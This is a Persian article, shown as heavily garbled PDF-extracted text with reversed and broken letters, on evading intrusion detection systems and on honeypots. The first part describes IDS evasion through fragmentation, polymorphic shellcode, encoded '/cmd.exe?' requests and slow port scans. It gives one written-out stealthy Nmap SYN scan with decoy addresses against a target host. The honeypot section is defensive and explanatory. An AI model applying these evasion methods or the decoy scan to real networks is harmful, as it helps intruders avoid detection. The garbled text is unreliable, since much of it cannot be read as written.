شوم  بيش از این لازم نميبينم در این بحث وارد  بسنده ميکنم ، چون واقعاFrag Routerًکردم حال اینجا فقط به معرفی یک ابزار به نام 

  !!همين . ، البته ابزار بسيار کاملی است و فوق العاده قوی 
  

ه ک یحدس بزن% ١٠٠ یتونيست چون شما نميشه قابل اعتماد ني همیول . هست ییص نفوذ هم روش هاي تشخیستم هاي فرار از سیبرا
  . شدهیاده سازي پیاونور چ

  . داص خودش رو هم دارخ (Evade )  نفوذ روش فراريکنک، هر ت IDS  فرار ازی برایول

   .د خاص خودش رو داری هاBase-lineنه استاندارد ها و ک مم IDSه هر ک دينداید بن بايهمچن

 Insertion Attack odgd ایردن درخواست و کد ک ی هست روش هایاربردک یه مربوط به برنامه هاک ی مواردیبعنوان مثال برا
د کت ها از شل یسپلوک ایبرا نه و بالاخرهيک میادی زکمک Fragmentation هاس ی سروی روی حمله هایبرا.  نهيک مکمک یليخ
  ....ننيکاستفاده م Polymorphic یها

امل در کازمند داشتن اطلاعات ي نفوذ نیکن در اش یساز ادهيار بردن و پکاده هست اما همه اونها و به ی زیلي خیراه ها و روش ها
 یه حتک ديناد براتون جالب باشه بدیشا . نفوذ استفاده شدهیه براک یامل به روشکن تسلط يمچنست و ه انهاآکار  ها و نحوه IDS مورد
  ... وکسيمعروف س PIX ای و Black-ice نيو هم Snort رش همي اخی نمونه ها !  Remote Exploit ها هم باگ دارن و IDS خود

ق یه راه نفوذ خودش رو از طرک قرار داده ، به شما گفت ی رو مورد بررس ت شماک شریستم هايه سک یتيم امني تیپس اگر روز
  .ن يه نشکاد شویرده ، زک باز یه داخلک به شب روال شمایا فای IDSستم يس

 اون سازمان Boarder Firewall  ش آمد ويم پیداديه انجام مک یی هاPenetration-test از یکی خودم در ین مورد برايرآ همياخ
  ...رد ک ما فراهم ی رو برایه داخلک به شبیدسترس) ف شده ی تعری هاACLو نه ضعف ( ت ه خودش داشک یبخاطر ضعف

ن دسته یه در اک یپس موارد. ه بود ک شبیک IDS یه سرور اختصاصک سرور بود یکه با اون روبرو بودم نفوذ به ک یگرینمونه د
  !  هم داشته باشه ی جنبه عمل %١٠٠تونه يد میريگياد مید و يناخويم

   

  ن مطالب عنوان شده ؟ی ا و حالا چرا

ه خودشون کاده شده در شبي پIDS یستم هاي تست سین روش ها برای از ادناه ها بتوک شبیتين امنيران و مسئولیه مدکل ين دلیتنها به ا
 در زمان  IDS  روش فرار ازیک خلاصه یلينم خيک می شروع سعیبرا  ...د دارییاراک در عمل چقدر IDSنن اون ينن و ببکاستفاده 

 براتون سوال  د هاک شل  polymorphic با خوندن چند سطر بالا در مورد   درسته ؛ حتمآ .ح بدم يت ها رو توضیسپلوکاستفاده از ا
  ...جاد شده یا

 Polymorphic  یتیا به روایر داده شدن يي تغیه جورک هستن یینهاآکد ها شل Encode ازيکچيبا ه هک شدن  signature کی یها 
IDS ه از نظرکنی ایعنین یق ندارن و ايتطب IDS ی موضوع ؛ باگ هاک راحت تر شدن دریبرا . ستي در حال انتقال نیز بديچ IIS 

 ینجوریتونه ايار مک یلکروش  . هستن IDS دی شدن از دینگ ساده قابل مخفیدک کیه با ک  ) CGI  یباگ ها( د یريرو در نظر بگ
  :باشه 

   

به ... د اونها يکونینگ با معادل ی استریتر هاکاراک یردن بعضکن یگزیمثلآ جا  (ینيکد مک ی رو بصورت تصادفنگ حملهیشما استر
د ک ینگ رو بصورت تصادفیداخلش نباشه چون شما استر ?cmd.exe/ ه مثلآکنه يک مکاون رو چ  IDS ن راهي بیفرستيمقصد م

بر  ( Clear text ) اون رو به حالت اول  IIS رسه ويوب سرور مقصد مت به ینگ شما در نهایفته استريبه اشتباه م IDS یردک
  . شهيگردونه و درخواست شما انجام ميم

 
  شه دنباليهم IDS مثلآ ! ) یمکشتر از ي بیمک ( یمکن مصداق رو داره با ي هم بآید ها هم تقرک شل یبرا

/x90/x90/x90ه اصطلاحآ بدونک یسی بنویدک شل یحالا اگه شما بتون. ر بده يگرده تا بهش گي م Noop ص يگه قابل تشخیباشه د
   . ستين IDS یبرا
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. نن يک میروين پيد شدن در حافظه و به زبان ماشیکد/ د کن موارد منتها در سطح انيه همي شبی از قواعديک مورفی پلید هاکشل 
ن مطلب ی هم به اکني دو ل .تونه باشه يب م مورد و مثال خویک ADMutateه کن موضوع ارائه شدند ی به اکمک ی هم براییدهاک

  :ده ين خصوص رو بهتون می در ایاملترکه اطلاعات کنم يکاضافه م

http://www.sans.org/resources/idfaq/polymorphic_shell.php 

http://www.securityfocus.com/infocus/1577 

ج یم سراغ راید بری اجازه بد .ه هست ک شبيک تراف  دن ،يت نشوم مي به اون حساسNIDS خصوصآ از دسته ی هاIDSه ک یمورد بعد
 :ه کر شبیردن مدک خبر ی برا IDS یک یل سر و صداين دلیتر

   

Port Scanning  
 ها رو هم به خودش IDSن یع توجه خنگ تری سریليتونه خي انجام شه ، مکیبخت...  ایتی روا  و بهیر اصوليار اگر به صورت غکن یا

  .نه کجلب 

IDSدن ؟يص مين پورت رو تشخک ها چطور عمل اس  

  :نم يکه مثال عنوان میجواب رو با 

 باشن یط خاصی شرای داشته باشه و اون پراب ها دارا Prob  ١۵ش از يقه بيه اگر در دقکم شده ين طور تنظی شما اIDSد ينکفرض 
قه رو در نظر داشته ي تعداد پراب ها در دقیعنی ١۵عدد . ص و گزارش بده ين تشخک منبع باشن ، اون رو بعنوان اسیک از یمثلآ همگ

  .ديباش

  م ؟ينکت ي فعالIDS رادار ییر خط شناسایچطور ز

  .شه ي میار ما نرمال تلقکم ينکن مقدار رو پراب یمتر از اکپس اگر ما . قه است يپراب در دق  15 ما یرض فIDSه حد آستانه کم يگفت

  چطور ؟ 

  . م یق داري در دقيک شلیبرا) ت خودمون کپ(  گلوله ١۵ثر کما حدا

ه ک یم جورينکم ي تقس )ن شده کس پورت ا۵(  هر هدف ی گلوله برا۵و ) ش یستم مورد پوي س٣  (ن سه هدف ين گلوله ها رو بیم ايتونيم
  ... نرسه ١۵ش از يقه به بيما در دق  شده يک شلی تعداد گلوله هایطیچ شرايدر ه

 يک گلوله شلیک فقط یکم و به هریري هدف مختلف رو نشونه بگ١۵قه يم و در هر دقی انجام بدیق تري دقیريم نشونه گيتونيه مکنیا ای
  )م ينکن ک پورت رو اسیک( م ينک

  !رده ک احساس نیزي چIDS    :یجه اخلاقينت

با پارامتر . د ينک مورد نظر خودتون استفاده IDS با Nmapب کيد از تري تونید مينکش یآزما د موضوع فوق رو عملآ يخواهياگر م
 شما رو IDSگه یه دکد ينکم کن رو کد اونقدر سرعت اسي تونیم   Nmap یت هاير قابلی و ساDecoy زمان ، تعداد اتصالات و یها

  ...نه ک نییشناسا

  :مثال 
Nmap –T1 –sS –P0 –D www.yahoo.com,192.9.9.3,google.com –p 80,53,25,22 server.com 

 ...رد کم ي خواهی مختلف بررسید های رو از د  )IDSفرار از ( ش آمد موضوع فوقي پیاگر فرصت
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Honeypot  ها   
  

  :ف یتعر
 

ر از آنچه     ی م Honeypotف یتعر.  جامع از آن استیفیان تعري باشند بی چه مHoneypotه کنیقدم اول در فهم ا   د سخت ت ه  ک  توان ه ب
ا از ا Honeypot .  رسد باشد  ینظر م را یلکچ مش يه ه ک ن جهت  ی  ه ا حل نم   ی را ب ب  ک ی م د ش ا ی ه دينن  یستمهاي ا سی  آتش و  یواره ه
تفاده هستند   ی مختلفیلهاکه به شک باشند ی میابل انعطاف ابزار قیکدر عوض آنها .  باشندینم زده ص دخول سريتشخ ل اس ا هر   . قاب آنه
ن انعطاف  يو هم !  جعل شده یارت اعتبار کن  ی تا ضبط آخر   IPv6 یه ها ک در شب  یشف حملات پنهان  ک توانند انجام دهند از      ی را م  یارک
ل تعر ي ز غي ن ی به نظر برسند و از جهت ی قویی ها ابزارهاHoneypotه کها باعث شده است     یریپذ م  ي ف و غی ر قاب ل فه اد ی ز!!!! (ر قاب
  ) دیري نگی جدیکین یا

  

  
  

  :نمک یر استفاده میف زی ها از تعرHoneypot فهم یالبته من برا
  

 مجوز و نا ی بیتهاي از فعالیه با استفاده از ارزش کاذب خود اطلاعات       ک باشد   ی م ی اطلاعات  ستمي منبع س  یک Honeypotک  ی •
  . کندی میمشروع جمع آور

  
ال   .  ها را در نظر گرفته است Honeypot مختلف ی گونه هایه تمامک باشد ی م یلکف  ی تعر یکن  یالبته ا   ه مث ا در ادام ا  م  ی مختلف یه

الا آورده ا  ک  یف یهمه آنها در تعر. م آورد ي آنها خواه  یتي ها و ارزش امن    Honeypot یبرا ا در ب د ، ارزش دروغ  یم م ی ه م ا  ي گنجن ن آنه
ه هم      Honeypot ی تمام یلکبه صورت   . ند ا ه با آنها در تماس    ک ید اشخاص ب  یبرا ا ب د ک یار م  ک ن صورت    ي ه ا   . نن  از  ی منبع  یک آنه
ا را اشغال     ک از شب  يکیچ تراف يد ه ی نبا Honeypot یک یبه صورت تئور  .  باشند یتها بدون مجوز م   يفعال د ز که م ا ه  ی ن ت ي چ فعاليرا آنه
ا    ینش ها کاه تر ک است   ین بدان معن  یا.  ندارند یقانون را   ی تقر Honeypot یک  ب ا ت ا  کب ا يا فعال ی  مجوز و     ی ب  ینش ه د اند   یته  یشانه م ی  ب
ه مفهوم آن ساده به نظر کحال آن.  باشدیه حساب مي تصفیکا ی ، حمله و    ی دزد یک تواند   ی م Honeypot یک هر ارتباط با     یعنی. باشد
ن ی ه من در ا ک  ها شده است  Honeypotز از ي استفاده شگفت انگن هم مواردی باعث این سادگ يو هم ) ن طور هم است   يو هم (  رسد   یم

  .ن موارد را دارمیردن اکمقاله قصد روشن 
   

  :  ها Honeypotد يفوا
  

د ک ی م ی ار داده ها را جمع آور      کیوچک حجم   یک ها   Honeypot  :  ارزش فراوان  ی دارا کوچک یداده ها  .١ ا   . نن ه ج ه ک نی ایب
ا در  کم دی ایعات را در فات اطلایگاباين گی روز چن ت رویله دHoneypotم توسط ينکره يدادها ذخی ثب د چن ط در ح ن ی فق
ادتان باشد   ی. نندک ید م ي زنگ خطر را تول    ١ روز آنها فقط     یک زنگ خطر در     ١٠٠٠٠د  ي تول یبه جا . مينکره  يد ذخ یت با یمگابا

ا ی ت بدون مجوز و  ي فعالیک تواند ی مHoneypot با ینند و هر ارتباطک ی ناجور را ثبت م یتهاي ها فقط فعال   Honeypotه  ک
ه ک را  ی باشد ز  ی م یادی ارزش ز  ی ها دارا  Honeypot کوچکه اطلاعات هر چند     ک باشد   یل م ين دل يو به هم  . شانه باشد یاند بد

ل اطلاعات   ي ه و تحل  ی ه تجز ک  باشد    ین بدان معنا م   یا. ضبط شده است     Honeypotد شده و توسط     يآنها توسط افراد بد ذات تول     
  . باشدی میلکاز اطلاعات ثبت شده به صورت ) و ارزانتر( آسانتر Honeypot کی
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با . نندکره ي شود را ذخیه به سمت آنها جذب مک یزيه هر چ  ک شده اند    ین طراح ی ا ی برا Honeypot   :دي جد يکیتکابزار و تا   .٢

  .ده نشده اندیه قبلا دک یدی جدیها يکتکابزارها و تا
  

انند  ی ناجور را به ثبت م       یتهايه آنها فقط فعال   کرا  یاز دارند ز  ياجات ن ين احت یمترک ها به    Honeypot  : اجاتين احت يمترک .٣ .  رس
  .ردک یاده سازي توان آن را پی می به راحتBه با رنج ک شبیک و RAMت ی مگابا١٢٨ و با یمیوم قدي پنتیکن با یبنابرا

  
 رمز شده  یطهاي خوب با محیلي خHoneypot)  ها IDSنند ما (یتي امنیهاینولوژک تیبر خلاف برخ      :IPv6ا  يردن  کرمز   .۴

دک یار مک IPv6ا یو  م ن یا. نن ساله مه که کست ين م ه در  ی اجور چگون رد ن ک ف ار م Honeypot ی ود زی گرفت را ی ش
Honeypotنندک آنان را ثبت یتهاي توانند آنها را شناخته و فعالی م  ها خود.  

   
   هاHoneypotمضرات 

  
ب  اميش ا ، یولوژنک تیه تم ا نHoneypotه اط ضعفیز داراي ه ندی می نق دان علت میا.  باش د ین ب اHoneypotه ک باش ا ج ن یگزی ه
  .نندک یار مکگر ی دیهاینولوژکنار تکه در ک شوند بلی نمیگری دینولوژکت
  
  

د پ ی را مییها تيل ها فقط فعا Honeypot  :د  یت د یمحدود .١ د  ک و ثبت  یري گي توانن ستق   ک نن ه صورت م اط    ميه ب ا در ارتب ا آنه  ب
ه جز ا   ک توانند ثبت یگر در حال انجام است را نم   ی د یستمهايه س يه بر عل  ک ی حملات Honeypot. باشند د ب وذگر و  ک نینن ا ی ه نف
  . داشته باشدHoneypot را با ید فعل و انفعالیآن تهد

  
ند ی م کسی  ری دارایت ي امنیهاینولوژک همه ت   :کسیر .٢ ا ید.  باش وذ کسی  آتش ر یواره ه  ی  و  نف د ک ا رخن . ردن در آن را دارن

 از ییمجزا ها Honeypot. ص دهندي حمله را تشخیکن است نتوانند ک ها ممIDSستن رمز را دارد،     ک ش کسی ر یرمزنگار
رل  ک به دست گرفتن کسیه رکن است ک ها ممHoneypotه کنیبه خصوص ا .  باشند ی م کسی ر یز دارا يآنها ن . ستندينها ن یا نت
ط يس کستم توس ری ه سکد ه ف ند ی دیستمهاير و صدمه زدن ب ته باش ر را داش ه ا. گ را کسین ریالبت ا ب ف یه واع مختل  ان

Honeypot    ه ا       ک ی ها فرق م سته ب د و ب وع    ک نین تفاده م     Honeypot از   یه چه ن دازه ر      ي نک ی را اس وع و ان ز ي  شما ن   کسی د ن
ا  IDSمتر از   ک کیسی نوع آن ، ر    یکن است استفاده از     کمم. باشد یمتفاوت م  وع      ه تفاده از ن  کسی گر ر ی دی داشته باشد و اس

ه مشخص خواه    . داشته باشد ی را در پ   یادیار ز يبس ا در ادام وع  ک رد ک م يم ا دارا Honeypot از یه چه ن  از ی چه سطح  ی ه
  . باشندی مکسیر

  
 آن یشتر رويدامه بدر ا. ندک ید و مضرات آنها را مشخص میه ارزش و فوا  ک   باشد ی ها م  Honeypotار بردن   کوه به   ي و ش  یچگونگ 

  .بحث خواهد شد
  
  

   هاHoneypotانوع 
  

Honeypot     ا کم           ي هستند و هم   ی مختلف ی ها در اندازه و شکلها م آنه را .  مشکل شود    ین امر باعث شده است که فه ر    ی ایب وان بهت نکه بت
  : میر مجموعه آورده اید همه انواع مختلف آنها را در دو زيآنها را فهم

  
١. Honeypotشکم واکن ی ها  
٢. Honeypotواکنش پر ی ها  

ا  یی نقاط ضعف و قدرت آنها و توانایم به راحتيو بتوان. مي رفتار آنها را بهتر درک کنی کند که چگونگ  ی به ما کمک م    یم بند ين تقس یا  ه
  . کندی دارد را مشخص مHoneypotک نفوذگر با ی که یواکنش در اصل نوع ارتباط. ميشان را روشن تر کنی
  

Honeypotم واکنش  کی ها:  
  

Honeypot ا  ي سها و س  یآنها معمولا با سرو   . باشند ی محدود م  یتي ارتباط و فعال   ی کم واکنش دارا   ی ها ب     یستم ه  شده   یه ساز  ي عامل را ش
ال    .  شده محدود شده است   یه ساز ي شب ی از برنامه ها   یک نفوذگر با سطح   یت  يسطح فعال .  کنند یکار م  وان مث ه عن  FTPس یک سرو ی ب
د  ی گوش م   ٢١ به پورت     شده که  یه ساز يشب ط      کن داد  ی  و loginک صفحه  ی  ممکن است فق ب FTP از دستورات  یا حداکثر تع ه ي را ش
  .  باشدی آنها می کم واکنش سادگی هاHoneypotن دسته از ید ای از فوایکی.  کرده باشد یساز
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ا    ی راحت م    یل يار راحت و آسان است و خ         يبس  کم واکنش    ی ها Honeypot ینگهدار وان آنه س ی  را گسترش داد و ر      ت  یار کم يسک ب
 ییها سید چه سروي خواهین مي نصب شود و همچنیستم عاملي چه سید روی بایین هستند که چه نرم افزارها  یر ا يشتر درگ يآنها ب . دارند
  .ديکن ) Monitor (یده بانی و دیه سازي آن شبیرا برا

  
ا راحت م    یاريبس یافت خودکار و ساده آنها است که توسعه آن را برا    ين ره يهم د ی از شرکت ه ه هم       . کن ه ذکر است ک ه لازم ب ن يالبت

ردد  یسک نفوذ م   ین امر باعث کاهش ر    ي فرد نفوذگر محدود شود و هم      یت ها ي شود که فعال   ی شده باعث م   یه ساز ي شب یسهایسرو ه  .  گ ب
  .ب برسانديگر آسی دیستم هاي سله آن بهيدا کند و به وسي پیستم عامل دسترسيچگاه به سي تواند هی که نفوذگر نمین معنیا

  
 ی توانند ثبت کنند و آنها طراحی را مین است که آنها فقط اطلاعات محدودی کم واکنش ای هاHoneypotن مضرات ی تری از اصل  یکی
انند            ی شوند که فقط اطلاعات    یم ه ثبت برس ناخته شده را ب ه حملات ش ناختن  يهمچن . راجع ب را   Honeypotک ی ن ش م واکنش ب ک ی  ی ک
ه ا   ی  شما چه اندازه خوب بوده است زیه ساز يد که شب  ين نباش ینگران ا .  باشد یار راحت م  يفوذگر بس ن وذگران حرف ه نف ه سرعت   یرا ک  ب
نش را از Honeypotک ی م واک شخیستم واقعيک سی ک دیص مي ت اHoneypot از  . دهن نشی ه م واک وان ی م  ک  , Spector ت

Honeyd و KFSensorرا نام برد .  
  
  

Honeypotپر واکنش ی ها :  
  

Honeypotا د ی ه نش متفاوتن ر واک ا .  پ ل ه ولا از راه ح ا معم ريچي پیآنه تفاده میده ت د زی اس ا از سی کنن ه آنه ا و يرا ک ستم عامله
  .می گذاریار نفوذگر مي را در اختیستم واقعيک سیست و ما ي شده نیه سازي شبیزيچ چيه.  کنندی استفاده می واقعیسهایسرو

  
وکس واقع  يک لی د  ی د شما با   ي داشته باش  FTPنوکس سرور   ي ل Honeypotک  ید که   ي خواه یاگر شما م   راه   ین ه هم  FTPس یک سرو ی  ب
ستم ي ک سی با دادن . دی از اطلاعات را به دست آوریادیک حجم زید  ي توان یشما م . ز است ي دو چ  Honeypotن نوع   یده ا یفا. دينصب کن 

ده ین فايدوم. دیرير نظر بگی را زIRCک نشست ید گرفته تا ی جدی هاRootKitرفتار او از   ید تمام ي توان ی به فرد نفوذگر شما م     یواقع
Honeypot د   یط باز به او م    يک مح ی گذارد و    ی نم ی رفتار نفوذگر باق   ی رو یه ا يچ فرض ي ه یگر جا ین است که د   یواکنش ا   پر ی ها  ده

ا     پر ی ها Honeypot که    شود ین امر باعث م   يهم. ردي گ یر نظر م  ی او را ز   یتهاي فعال یو تمام  ه         ییواکنش رفتاره وذگر را ب رد نف  از ف
  !!ميم حدس بزنی توانسته ایا نمیم و یما نشان دهند که ما انتظار نداشته ا

  
  :نکته 

وع    ی استفاده از ا   ین جا برا  یبهتر ا    Honeypotن ن ر واکنش     (  ه ان ) پ ه قصد دار       یزم ک در ی م دستورات رمز شده       ی  است ک
شت بکی ی را رویپ تاندارد يه غک ش ه دست  IPر اس ال هم. میراويب ب ه هر ح ه ريب ور است ک ه یسک این ام ا را Honeypotنگون  ه
ه س  ي را در اخت   یستم عامل واقع  يک س یرا که نفوذگر    ی دهد ز  یش م یافزا ا ي ار دارد و ممکن است ب د   ی اصل یستم ه ه  .  شبکه صدمه بزن ب

  .  را انجام دهدیشتري بیلي خی کم واکنش کارهاHoneypotک ی یها تواند علاوه بر کاریواکنش م  پرHoneypotک ی یطور کل
ر ا     یبرا م بهت ر       Honeypotنکه   ی فه م واکنش و پ ار م      ک ه ک ال واقع     یواکنش چگون ر است دو مث د بهت ه ب ين زمی  در ای کنن ا  . میاوري ن ب

Honeypotمي کنی کم واکنش شروع می ها.  
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Honeyd )  ک يHoneypot کم واکنش :  (  
  

Honeyd ک  یHoneypot       کم واکنش است که توسط Niels Provos   ساخته شده است  .Honeyd    را ی به صورت کد باز م  ی باشد و ب
رده شده است       ی و یفکر کنم رو  .(کس ساخته شده است   يونی یستم عاملها يمجموعه س  ر اساس ز  Honeyd) . ندوز هم ب رفتن   ی  ب ر نظر گ

IP ک ی که قصد داشته باشد با یزيهر چ. ر قابل استفاده بنا شده است     ي غ ی هاIPاط  ي غ د ارتب ش  ر قابل استفاده با شبکه ارتباط برقرار کن
  . زندی جا می قربانی کند و خودش را جای قطع کرده و با نفوذگر ارتباط برقرار میرا با شبکه اصل

  
ه صورت پ امHoneydش فرض يب ا ی تم امی را زUDPا ی و TCP پورته ه و تم تهایر نظر گرفت ت می درخواس ا را ثب دی آنه .  کن

ب ي کنیکربندي شده مورد نظر را پیه سازيس شبید سروي توانیک پورت خاص شما م    یر نظر گرفتن    ی ز ین برا يهمچن  یه ساز يد مانند ش
رار م      یه ساز يس شب یک سرو ی نفوذگر با      که یوقت. کند ی کار م  ٢١ پورت   TCP پروتکل   ی که رو  FTP  ک سرور ی اط برق  ی شده ارتب

ب FTPس یمثلا در سرو. ردي گیر نظر میگر ثبت کرده و زی شده دیه ساز ي شب یسهای او را با سرو    یتهايال فع یکند تمام   شده  یه ساز ي ش
ه صادر م   یا دستورات ی کند و ی سرور استفاده مFTP شکستن ی که نفوذگر برای رمزی و کلمه هایم نام کاربر ي توان یما م  د را  ی ک  کن

  ! ست يت او چی گردد و هوی میزيه او به دنبال چه چم کی ببری پید حتیم و شایبه دست آور
  

ب  یسهایشتر سرو يب. ار ما گذاشته است   ي در اخت  Honeypot گردد که    ی بر م  یه ساز ي از شب  ینها به سطح  یهمه ا  ه      یه ساز  ي ش ک ی  شده ب
شان  ین رفتارهایبه ان کرده اند يي که قبلا تع  یی هستند و طبق راهها    ی از رفتارها  یآنها منتظر نوع خاص   .  کنند یصورت کار م    واکنش ن

  .  دهندیم
  

  !ن راه واکنش نشان بدهین کار را کرد از ای اBق واکنش نشان بده و اگر حمله ین طرین را انجام داد از ای اAاگر حمله 
  

را  یچ پاسخ  ي را وارد کند که ه      ین است که اگر نفوذگر دستورات     ین برنامه ها در ا    یت ا یمحدود ب  ی ب ا ش شده ب یه ساز ي آنه ابرا . اشد  ن ن یبن
د  ید برای را بای دانند که چه پاسخ  یآنها نم  ا Honeypotشتر ي ب.  نفوذگر ارسال کنن م واکنش   ی ه د  - ک ا   يک پی  - Honeyd مانن ام خط غ
  .دي کرده است را مشاهده کنیه سازي شبFTP ی که برای کل دستوراتHoneydد از کد برنامه ي توانیشما م.  دهندینشان م
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Honeynet ک ي(   هاHoneypot پر واکنش :  (  
  

Honeynet ی برا یهیک مثال بد  ی Honeypot باشد  یواکنش م   پر ی ها  .Honeynet    ا ند  یک محصول نم    ی  ه ا   .  باش ک راه حل    ی آنه
زار رم اف وان روین ه بت امپی ی ک وند نميک ک ا Honeynet.  باشدیوتر نصب ش اری ه ند ی میک معم بکه بی.  باش ب از ي عیک ش

ار ید یه ما باین نظریطبق ا . ردي گ ی آنها انجام م   ی که رو  ی حملات ی شده اند برا   یکه طراح  ییها وتريکامپ ه  ي داشته باش  یک معم ک ی م ک
  . ر نظر گرفتی ارتباطات با شبکه را بتوان کنترل کرد و زیجاد کند تا تمامی شبکه ای را روییکنترل بالا

د  ی را اجرا م   ی واقع ی که برنامه ها   ییها وتريلبته با کامپ  م ا یري گ ی در نظر م   یالي خ ین قربان ین شبکه ما چند   یدرون ا  رد هکر ا    .  کنن ن ی ف
ا م   ي  همه چیعنی!  ما ی کند اما طبق ابتکار و راهکارهای کند و در آنها نفوذ میدا کرده و به آنها حمله م    يستم ها را پ   يس رل م  یز در کنت

د  Honeynetک یکه در  دانند   ی دهند نم  ین کارها را انجام م    ی آنها ا  یالبته وقت . باشد ام .  گرفتار شده ان ا ي  فعالیتم وذگر از   یت ه رد نف  ف
رار م  ي که در س ییلهایل ها و فا   يمی گرفته تا ا   SSH رمز شده    ینشست ها  ا متوجه شوند ز        یستم ها ق دون آنکه آنه ه ب ه و هم د هم ر ی  دهن

ان ن     .  شود ینظر گرفته و ثبت م     ان زم ام  Honeynetز  ي در هم ا  ی تم وذگر را  ی کاره رل م   نف د یکنت ا ا Honeynet.  کن ا را  ی  ه ن کاره
د  ی انجام م  Honeywall به نام    یتوسط دروازه ا   ام     ی ا.  دهن ه تم ه سمت س     ی اجازه م    یک ورود ي  تراف ین دروازه ب ه ب د ک ا ي  ده  یستم ه

ا ی ن کار به نفوذگر ایا.  عبور کند IDS مجهز به    یستم ها يد از س  ی با یک خروج ي تراف یت شوند ول  ی ما هدا  یقربان ه   ین را م ن امک د ک  ده
تفاده از ا        ی داشته باشد اما در کنار آن اجازه داده نم         ی قربان یستم ها ي با س  یبتواند ارتباط قابل انعطاف تر     ستم ي ن سی  شود که نفوذگر با اس

  . صدمه وارد کندی اصلیستم هايها به س
  
  
   هاHoneypotگاه يجا
  

ه خصوص   ين کان ي  بیتي امنیايگاه آنها را در دنیه ارزش و جا ک است   م لازم ی دار Honeypot با هر دو نوع      یی ابتدا ییه آشنا کحال   م ، ب
  . مينک استفاده Honeypotد از یه چگونه باکرد کم يان خواهيدر ادامه ب

  
انطور  اره کهم بلا اش ته یردکه ق راکم ی دارHoneypotم دو دس داف و تحقیه ب رار م ي اه ه ق ورد مطالع ا م ات م دي گیق  از یوقت. رن

Honeypot       را    ي ها به صورت محصولات تول تفاده م          ید شده ب ا اس وارد مختلف    یم م ين ک ی محافظت از سازمان ه ا را در م د م  ی توانن
ه  یقاتي آنها را در جهت امور تحقیوقت. ردکان ي حمله را بیکشف و پاسخ مناسب به   ک توان محافظت ،     ینند از جمله م   کمحافظت   ار ک  ب

د ک ی مختلف فرق م ی سازمانهاین اطلاعات برایالبته ا . نندک ی م ی ما جمع آور   ی برا  ها اطلاعات لازم را    Honeypotم  ی بر یم عده  . ن
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د  یز م ي ن سازمانها ن یار خود را بشناسند اکداران خرابیارمندان و خر  کا  ینند ،   ک یی خود را شناسا   یرونيد بخواهند دشمنان ب   ی شا یا  توانن
  .نندک ها استفاده Honeypotن دسته یاز ا

  
واه ر بخ ه صورت ياگ اHoneypotم ينکان ي بیلکم ب وان محصولات تولکم واک ی ه ه عن ه یدينش ب د در صورتیار مک ب ه يک رون

Honeypot ا کالبته هر   .  شوند یار گرفته م  که به   ک شب ی رو یقاتي تحق یها اتي عمل ینش برا کوا  پر ی ها د در اهداف   یم  دام از آنه  توانن
  .ار روند کز به يگر نید
   

Honeypotنندک کمکر ی توانند ما را در سه رده زی میداتي تولی ها :  
  

   )Prevention (یريشگي پ     -١
   )Detection( شفکا ی یابی رد     -٢
   )Response(  پاسخ      -٣

  
  .مينک ی آنها بحث می رویق تريه در ادامه به صورت عمک
  

  .ند کردن حمله استق کینند از طرک ی مکمک ها به محافظت سازمانها Honeypotه ک یراه اول
  
  

Honeypot    د ک توانند ما را از حملات حفظ        ی م ی مختلف یها از راهها دا حملات   . نن ات      ک  یابت ه صورت اتوم ام م    يکیه ب ل     ی انج  شود مث
د   ک یار م  ک ن صورت    ی ن حملات به ا   یا.  ها   Auto-rooterا  یرمها و   ک تفاده از بعض       ک نن ا اس وذگران ب ا  یه نف  از ی رنج یک  از ابزاره
ذ  يرده تا آس   کش  یها را پو  ه  کشب ب  ی در ا   موجود    ی سرورها  یریب پ د ا  کدا  ي ه را پ  کن ش ا پس از پ      ی نن ذ يردن آس ک دا ي ن ابزاره  یهایریب پ

وده م  یستمي  سیه وقت ک رم ساسر   کمانند  . (نندک یستم ها حمله م   ين س یموجود ، به ا    ه صورت اتومات  ک  ی را آل ه وس  يک رد ب  یک له ي و ب
  ).ردک یز آلوده مي را نیگریستم دي ، سی تصادفIPآدرس 

  
د سرعت ا  یه م کن است  ینند ا ک ین گونه حملات استفاده م    یه ما از ا   ک محافظت شب  ی ها برا  Honeypotه  ک یروش ه حملات   ی توانن نگون

  . ندی گویم ) Sticky( چسبنده ی هاHoneypot ها Honeypotن دسته از یبه ا! نندک آنها را متوقف یا حتینند و کند کرا 
  

ا وا   ي گی شوند ، در نظر م یه استفاده نمکه در شبک را یی ها ، آن دسته از آدرس هاHoneypotاه حل  ن ر یدر ا  ه آنه د و ب شان  ک رن نش ن
ا         Honypot از آدرس ها را دارد ،        یش رنج یا نفوذگر قصد پو   ی برنامه مخرب    یکه  يک هنگام یعنی.  دهند یم ه آن دسته از آدرس ه  یی ب
ام ي مثال با استفاده از پی دهد براینش نشان مک باشند وایه موجود نم که در شب  ک ا  غ د ا TCP یه ر م     ی  رون ه حملات را آهسته ت  ین گون
ا     ی گودال هل م  یکغام پنجره صفر ، نفوذگر را در  ي نمونه، با دادن پ    یبرا. (ندک سته ه د ب ا نتوان د ت د کگر را ارسال   ی دی ده ن امر  ی ا) ن
ر  ا محافظت در بر ی  و  ردن سرعت انتشارک آهسته   یبرا ا کاب ب ک  ییرمه رار م     یه داخل که ش ورد هجوم ق ا را م س  ی م د ب ار مناسب  ي دهن
  . باشدی ها مHoneypotن دسته از ی جزو اLaBrea. است

  
Honeypot یک چسبنده اغلب به عنوان  ی ها Honeypot ا را  ي  توانیالبته شما م . ( شوندینش شناخته مکم واک ا Honeypotد آنه  ی ه

  )نند ک یند مکه ک نفوذگر را در شبیکه آنها فقط سرعت نفوذ کرا ید زينامه نش بکبدون وا
  

Honeypot د و  ی ه باعث تهد   ک باشد   ی م یله ا يار فقط ح  کن  یالبته ا . نندک توانند سازمان شما را از اشخاص نفوذگر محافظت          ین م ي همچن
وذگر  اب نف ودی م ارع وذگر را گ یعنی.  ش ه  ي نف ت پاچ وان ينکج و دس ا بت ه وس ق ین طریم از ايم ت ت او را ب ا  يله درگيوق دنش ب ر ش

Honeypot را        یتهايشف فعال ک تواند با    یدر ضمن سازمان شما م    . میري بگ ان لازم ب ه حملات را      ی  پاسخ ، ا    ی نفوذگر و داشتن زم ن گون
  . ندکمتوقف 

  
الاتر رفت        یک توان   ی م یحت ه ب د       .  مرحل وذگر بدان تفاده م   Honeypotه سازمان شما از       ک اگر نف د ول  ک ی اس د  ین ستم ي دام سک ه ک  ندان

Honeypot یک ا در ی است یقيستم حقي سیکن یا ایآ« ه ک در ذهن خود دارد   ی نگران یکشه  ي باشد هم  ی م Honeypot   ار شده ام  گرفت
وذگران را  ی مHoneypotن یبنابرا!!! فتديه شما نکر نفوذ در شبکچگاه به فيه هک باعث شود ین نگران ين است هم  کو مم » !!   توانند نف
